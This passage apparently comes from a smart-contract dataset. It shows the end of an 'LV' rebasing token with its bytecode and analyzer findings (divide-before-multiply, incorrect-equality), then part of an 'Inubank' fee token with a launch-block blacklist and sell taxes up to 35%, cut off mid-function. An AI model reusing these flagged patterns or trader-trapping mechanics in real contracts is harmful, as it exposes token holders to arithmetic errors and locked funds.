return _maxScalingFactor();
}
function _maxScalingFactor()
internal
view
returns (uint256)
{
return uint256(-1) / initSupply;
}
function mint(address to, uint256 amount)
external
onlyMinter
returns (bool)
{
_mint(to, amount);
return true;
}
function _mint(address to, uint256 amount)
internal
{
totalSupply = totalSupply.add(amount);
uint256 lvValue = amount.mul(internalDecimals).div(lvsScalingFactor);
initSupply = initSupply.add(lvValue);
require(lvsScalingFactor <= _maxScalingFactor(), "max scaling factor too low");
_lvBalances[to] = _lvBalances[to].add(lvValue);
_moveDelegates(address(0), _delegates[to], lvValue);
emit Mint(to, amount);
}
function transfer(address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
uint256 lvValue = value.mul(internalDecimals).div(lvsScalingFactor);
_lvBalances[msg.sender] = _lvBalances[msg.sender].sub(lvValue);
_lvBalances[to] = _lvBalances[to].add(lvValue);
emit Transfer(msg.sender, to, value);
_moveDelegates(_delegates[msg.sender], _delegates[to], lvValue);
return true;
}
function transferFrom(address from, address to, uint256 value)
external
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 lvValue = value.mul(internalDecimals).div(lvsScalingFactor);
_lvBalances[from] = _lvBalances[from].sub(lvValue);
_lvBalances[to] = _lvBalances[to].add(lvValue);
emit Transfer(from, to, value);
_moveDelegates(_delegates[from], _delegates[to], lvValue);
return true;
}
function balanceOf(address who)
external
view
returns (uint256)
{
return _lvBalances[who].mul(lvsScalingFactor).div(internalDecimals);
}
function balanceOfUnderlying(address who)
external
view
returns (uint256)
{
return _lvBalances[who];
}
function allowance(address owner_, address spender)
external
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function approve(address spender, uint256 value)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
rebaser = rebaser_;
emit NewRebaser(oldRebaser, rebaser_);
}
function _setIncentivizer(address incentivizer_)
external
onlyGov
{
address oldIncentivizer = incentivizer;
incentivizer = incentivizer_;
emit NewIncentivizer(oldIncentivizer, incentivizer_);
}
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
function rebase(
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
onlyRebaser
returns (uint256)
{
if (indexDelta == 0) {
emit Rebase(epoch, lvsScalingFactor, lvsScalingFactor);
return totalSupply;
}
uint256 prevLvsScalingFactor = lvsScalingFactor;
if (!positive) {
lvsScalingFactor = lvsScalingFactor.mul(BASE.sub(indexDelta)).div(BASE);
} else {
uint256 newScalingFactor = lvsScalingFactor.mul(BASE.add(indexDelta)).div(BASE);
if (newScalingFactor < _maxScalingFactor()) {
lvsScalingFactor = newScalingFactor;
} else {
lvsScalingFactor = _maxScalingFactor();
}
}
totalSupply = initSupply.mul(lvsScalingFactor);
emit Rebase(epoch, prevLvsScalingFactor, lvsScalingFactor);
return totalSupply;
}
}
contract LV is LVToken {
function initialize(
string memory name_,
string memory symbol_,
uint8 decimals_,
address initial_owner,
uint256 initSupply_
)
public
{
require(initSupply_ > 0, "0 init supply");
super.initialize(name_, symbol_, decimals_);
initSupply = initSupply_.mul(10**24/ (BASE));
totalSupply = initSupply_;
lvsScalingFactor = BASE;
_lvBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));
}
}
|
0x608060405234801561001057600080fd5b506004361061023d5760003560e01c80636fc6407c1161013b578063a457c2d7116100b8578063e7a324dc1161007c578063e7a324dc14610934578063ec342ad01461093c578063ee02a9ef14610944578063f1127ed81461094c578063fa8f34551461099e5761023d565b8063a457c2d714610841578063a9059cbb1461086d578063b4b5ea5714610899578063c3cda520146108bf578063dd62ed3e146109065761023d565b80637af548c1116100ff5780637af548c1146107ba5780637ecebe00146107e557806395d89b411461080b57806397d63f931461081357806398dca2101461081b5761023d565b80636fc6407c146106fb5780636fcfff451461070357806370a082311461074257806373f03dff14610768578063782d6fe11461078e5761023d565b806325240810116101c95780634bda2e201161018d5780634bda2e201461055f578063587cde1e146105675780635c19a95c1461058d57806364dd48f5146105b35780636c945221146105bb5761023d565b806325240810146104bb578063313ce567146104c357806339509351146104e15780633af9e6691461050d57806340c10f19146105335761023d565b806312d43a511161021057806312d43a511461033d5780631624f6c61461034557806318160ddd1461047557806320606b701461047d57806323b872dd146104855761023d565b806306fdde0314610242578063095ea7b3146102bf57806311d3e6c4146102ff57806311fd8a8314610319575b600080fd5b61024a6109c4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028457818101518382015260200161026c565b50505050905090810190601f1680156102b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102eb600480360360408110156102d557600080fd5b506001600160a01b038135169060200135610a51565b604080519115158252519081900360200190f35b610307610ab8565b60408051918252519081900360200190f35b610321610ac8565b604080516001600160a01b039092168252519081900360200190f35b610321610ad7565b6104736004803603606081101561035b57600080fd5b810190602081018135600160201b81111561037557600080fd5b82018360208201111561038757600080fd5b803590602001918460018302840111600160201b831117156103a857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103fa57600080fd5b82018360208201111561040c57600080fd5b803590602001918460018302840111600160201b8311171561042d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050903560ff169150610aeb9050565b005b610307610b76565b610307610b7c565b6102eb6004803603606081101561049b57600080fd5b506001600160a01b03813581169160208101359091169060400135610b97565b610321610d41565b6104cb610d50565b6040805160ff9092168252519081900360200190f35b6102eb600480360360408110156104f757600080fd5b506001600160a01b038135169060200135610d59565b6103076004803603602081101561052357600080fd5b50356001600160a01b0316610df2565b6102eb6004803603604081101561054957600080fd5b506001600160a01b038135169060200135610e0d565b610473610e9e565b6103216004803603602081101561057d57600080fd5b50356001600160a01b0316610f69565b610473600480360360208110156105a357600080fd5b50356001600160a01b0316610f87565b610307610f94565b610473600480360360a08110156105d157600080fd5b810190602081018135600160201b8111156105eb57600080fd5b8201836020820111156105fd57600080fd5b803590602001918460018302840111600160201b8311171561061e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561067057600080fd5b82018360208201111561068257600080fd5b803590602001918460018302840111600160201b831117156106a357600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050813560ff1692505060208101356001600160a01b03169060400135610fa2565b610321611066565b6107296004803603602081101561071957600080fd5b50356001600160a01b0316611075565b6040805163ffffffff9092168252519081900360200190f35b6103076004803603602081101561075857600080fd5b50356001600160a01b031661108d565b6104736004803603602081101561077e57600080fd5b50356001600160a01b03166110cb565b610307600480360360408110156107a457600080fd5b506001600160a01b03813516906020013561114a565b610307600480360360608110156107d057600080fd5b50803590602081013590604001351515611352565b610307600480360360208110156107fb57600080fd5b50356001600160a01b03166114ad565b61024a6114bf565b610307611517565b6104736004803603602081101561083157600080fd5b50356001600160a01b031661151d565b6102eb6004803603604081101561085757600080fd5b506001600160a01b03813516906020013561159c565b6102eb6004803603604081101561088357600080fd5b506001600160a01b03813516906020013561168b565b610307600480360360208110156108af57600080fd5b50356001600160a01b03166117c1565b610473600480360360c08110156108d557600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135611824565b6103076004803603604081101561091c57600080fd5b506001600160a01b0381358116916020013516611b0b565b610307611b36565b610307611b51565b610307611b5d565b61097e6004803603604081101561096257600080fd5b5080356001600160a01b0316906020013563ffffffff16611b63565b6040805163ffffffff909316835260208301919091528051918290030190f35b610473600480360360208110156109b457600080fd5b50356001600160a01b0316611b90565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a495780601f10610a1e57610100808354040283529160200191610a49565b820191906000526020600020905b815481529060010190602001808311610a2c57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000610ac2611c0f565b90505b90565b6005546001600160a01b031681565b60035461010090046001600160a01b031681565b60085415610b36576040805162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b604482015290519081900360640190fd5b8251610b49906001906020860190612342565b508151610b5d906002906020850190612342565b506003805460ff191660ff929092169190911790555050565b60075481565b60405180604361242482396043019050604051809103902081565b6000826001600160a01b038116610bad57600080fd5b6001600160a01b038116301415610bc357600080fd5b6001600160a01b0385166000908152600a60209081526040808320338452909152902054610bf7908463ffffffff611c2416565b6001600160a01b0386166000908152600a60209081526040808320338452909152812091909155600854610c4b90610c3f8669d3c21bcecceda100000063ffffffff611c6616565b9063ffffffff611cbf16565b6001600160a01b038716600090815260096020526040902054909150610c77908263ffffffff611c2416565b6001600160a01b038088166000908152600960205260408082209390935590871681522054610cac908263ffffffff611d0116565b6001600160a01b0380871660008181526009602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36001600160a01b038087166000908152600c6020526040808220548884168352912054610d3592918216911683611d5b565b50600195945050505050565b6004546001600160a01b031681565b60035460ff1681565b336000908152600a602090815260408083206001600160a01b0386168452909152812054610d8d908363ffffffff611d0116565b336000818152600a602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526009602052604090205490565b6005546000906001600160a01b0316331480610e3357506006546001600160a01b031633145b80610e4d575060035461010090046001600160a01b031633145b610e8b576040805162461bcd60e51b815260206004820152600a6024820152693737ba1036b4b73a32b960b11b604482015290519081900360640190fd5b610e958383611ea9565b50600192915050565b6004546001600160a01b03163314610ee8576040805162461bcd60e51b81526020600482015260086024820152672170656e64696e6760c01b604482015290519081900360640190fd5b60038054600480546001600160a01b03818116610100908102610100600160a81b0319861617958690556001600160a01b031990921690925560408051938290048316808552919094049091166020830152825190927f1f14cfc03e486d23acee577b07bc0b3b23f4888c91fcdba5e0fef5a2549d5523928290030190a150565b6001600160a01b039081166000908152600c60205260409020541690565b610f913382612000565b50565b69d3c21bcecceda100000081565b60008111610fe7576040805162461bcd60e51b815260206004820152600d60248201526c3020696e697420737570706c7960981b604482015290519081900360640190fd5b610ff2858585610aeb565b611019670de0b6b3a764000069d3c21bcecceda10000005b8391900463ffffffff611c6616565b600b556007819055670de0b6b3a764000060088190556110439069d3c21bcecceda100000061100a565b6001600160a01b0390921660009081526009602052604090209190915550505050565b6006546001600160a01b031681565b600e6020526000908152604090205463ffffffff1681565b6008546001600160a01b0382166000908152600960205260408120549091610ab29169d3c21bcecceda100000091610c3f919063ffffffff611c6616565b60035461010090046001600160a01b031633146110e757600080fd5b600480546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517f6163d5b9efd962645dd649e6e48a61bcb0f9df00997a2398b80d135a9ab0c61e929181900390910190a15050565b600043821061118a5760405162461bcd60e51b81526004018080602001828103825260258152602001806124886025913960400191505060405180910390fd5b6001600160a01b0383166000908152600e602052604090205463ffffffff16806111b8576000915050610ab2565b6001600160a01b0384166000908152600d6020908152604080832063ffffffff600019860181168552925290912054168310611227576001600160a01b0384166000908152600d602090815260408083206000199490940163ffffffff16835292905220600101549050610ab2565b6001600160a01b0384166000908152600d6020908152604080832083805290915290205463ffffffff16831015611262576000915050610ab2565b600060001982015b8163ffffffff168163ffffffff16111561131b57600282820363ffffffff160481036112946123c0565b506001600160a01b0387166000908152600d6020908152604080832063ffffffff8086168552908352928190208151808301909252805490931680825260019093015491810191909152908714156112f657602001519450610ab29350505050565b805163ffffffff1687111561130d57819350611314565b6001820392505b505061126a565b506001600160a01b0385166000908152600d6020908152604080832063ffffffff9094168352929052206001015491505092915050565b6005546000906001600160a01b0316331461136c57600080fd5b826113bd57600854604080518681526020810183905280820192909252517fc6642d24d84e7f3d36ca39f5cce10e75639d9b158d5193aa350e2f900653e4c09181900360600190a1506007546114a6565b600854826113fb576113f3670de0b6b3a7640000610c3f6113e4828863ffffffff611c2416565b6008549063ffffffff611c6616565b600855611445565b600061141c670de0b6b3a7640000610c3f6113e4828963ffffffff611d0116565b9050611426611c0f565b811015611437576008819055611443565b61143f611c0f565b6008555b505b600854600b5461145a9163ffffffff611c6616565b600755600854604080518781526020810184905280820192909252517fc6642d24d84e7f3d36ca39f5cce10e75639d9b158d5193aa350e2f900653e4c09181900360600190a150506007545b9392505050565b600f6020526000908152604090205481565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610a495780601f10610a1e57610100808354040283529160200191610a49565b600b5481565b60035461010090046001600160a01b0316331461153957600080fd5b600680546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517f2ee668ca7d17a9122dc00c0bfd73b684f2f7d681f17733cc02b294f69f1b3896929181900390910190a15050565b336000908152600a602090815260408083206001600160a01b03861684529091528120548083106115f057336000908152600a602090815260408083206001600160a01b0388168452909152812055611625565b611600818463ffffffff611c2416565b336000908152600a602090815260408083206001600160a01b03891684529091529020555b336000818152600a602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000826001600160a01b0381166116a157600080fd5b6001600160a01b0381163014156116b757600080fd5b6008546000906116db90610c3f8669d3c21bcecceda100000063ffffffff611c6616565b336000908152600960205260409020549091506116fe908263ffffffff611c2416565b33600090815260096020526040808220929092556001600160a01b03871681522054611730908263ffffffff611d0116565b6001600160a01b0386166000818152600960209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3336000908152600c6020526040808220546001600160a01b03888116845291909220546117b6928216911683611d5b565b506001949350505050565b6001600160a01b0381166000908152600e602052604081205463ffffffff16806117ec5760006114a6565b6001600160a01b0383166000908152600d6020908152604080832063ffffffff60001986011684529091529020600101549392505050565b6000604051808061242460439139604301905060405180910390206001604051808280546001816001161561010002031660029004801561189c5780601f1061187a57610100808354040283529182019161189c565b820191906000526020600020905b815481529060010190602001808311611888575b505091505060405180910390206118b1612080565b3060405160200180858152602001848152602001838152602001826001600160a01b03166001600160a01b03168152602001945050505050604051602081830303815290604052805190602001209050600060405180806124d1603a91396040805191829003603a0182206020808401919091526001600160a01b038c1683830152606083018b905260808084018b90528251808503909101815260a08401835280519082012061190160f01b60c085015260c2840187905260e2808501829052835180860390910181526101028501808552815191840191909120600091829052610122860180865281905260ff8c1661014287015261016286018b905261018286018a9052935191965092945091926001926101a28083019392601f198301929081900390910190855afa1580156119ef573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116611a415760405162461bcd60e51b815260040180806020018281038252602481526020018061250b6024913960400191505060405180910390fd5b6001600160a01b0381166000908152600f602052604090208054600181019091558914611ab5576040805162461bcd60e51b815260206004820181905260248201527f4c563a3a64656c656761746542795369673a20696e76616c6964206e6f6e6365604482015290519081900360640190fd5b87421115611af45760405162461bcd60e51b81526004018080602001828103825260248152602001806124ad6024913960400191505060405180910390fd5b611afe818b612000565b505050505b505050505050565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60405180603a6124d18239603a019050604051809103902081565b670de0b6b3a764000081565b60085481565b600d6020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b60035461010090046001600160a01b03163314611bac57600080fd5b600580546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517f51f448520e2183de499e224808a409ee01a1f380edb2e8497572320c15030545929181900390910190a15050565b6000600b5460001981611c1e57fe5b04905090565b60006114a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612084565b600082611c7557506000610ab2565b82820282848281611c8257fe5b04146114a65760405162461bcd60e51b81526004018080602001828103825260218152602001806124676021913960400191505060405180910390fd5b60006114a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211b565b6000828201838110156114a6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b031614158015611d7d5750600081115b15611ea4576001600160a01b03831615611e15576001600160a01b0383166000908152600e602052604081205463ffffffff169081611dbd576000611def565b6001600160a01b0385166000908152600d6020908152604080832063ffffffff60001987011684529091529020600101545b90506000611e03828563ffffffff611c2416565b9050611e1186848484612180565b5050505b6001600160a01b03821615611ea4576001600160a01b0382166000908152600e602052604081205463ffffffff169081611e50576000611e82565b6001600160a01b0384166000908152600d6020908152604080832063ffffffff60001987011684529091529020600101545b90506000611e96828563ffffffff611d0116565b9050611b0385848484612180565b505050565b600754611ebc908263ffffffff611d0116565b600755600854600090611ee390610c3f8469d3c21bcecceda100000063ffffffff611c6616565b600b54909150611ef9908263ffffffff611d0116565b600b55611f04611c0f565b6008541115611f5a576040805162461bcd60e51b815260206004820152601a60248201527f6d6178207363616c696e6720666163746f7220746f6f206c6f77000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260096020526040902054611f83908263ffffffff611d0116565b6001600160a01b03808516600090815260096020908152604080832094909455600c905291822054611fb792911683611d5b565b604080516001600160a01b03851681526020810184905281517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885929181900390910190a1505050565b6001600160a01b038083166000818152600c6020818152604080842080546009845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461207a828483611d5b565b50505050565b4690565b600081848411156121135760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120d85781810151838201526020016120c0565b50505050905090810190601f1680156121055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361216a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156120d85781810151838201526020016120c0565b50600083858161217657fe5b0495945050505050565b60006121a4436040518060600160405280603281526020016123f2603291396122e5565b905060008463ffffffff161180156121ed57506001600160a01b0385166000908152600d6020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561222a576001600160a01b0385166000908152600d6020908152604080832063ffffffff6000198901168452909152902060010182905561229b565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600d84528681208b8616825284528681209551865490861663ffffffff199182161787559251600196870155908152600e9092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b600081600160201b841061233a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156120d85781810151838201526020016120c0565b509192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061238357805160ff19168380011785556123b0565b828001600101855582156123b0579182015b828111156123b0578251825591602001919060010190612395565b506123bc9291506123d7565b5090565b604080518082019091526000808252602082015290565b610ac591905b808211156123bc57600081556001016123dd56fe4c563a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774c563a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644c563a3a64656c656761746542795369673a207369676e6174757265206578706972656444656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e7432353620657870697279294c563a3a64656c656761746542795369673a20696e76616c6964207369676e6174757265a265627a7a72315820af15ad4a67d2e6dda41fe36488a5b57237e8795146fd96728f535ea458fb1fe064736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,305 |
0xafdd84151bc2d28708bfd888157a498eb86c03ff
|
/**
*
Inubank is going to launch in the Uniswap at aug 4.
This is fair launch and going to launch without any presale.
tg: https://t.me/Inubank
https://twitter.com/Inubank
All crypto babies will become a LionKing in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Inubank is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Inu bank";
string private constant _symbol = unicode" IBK ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
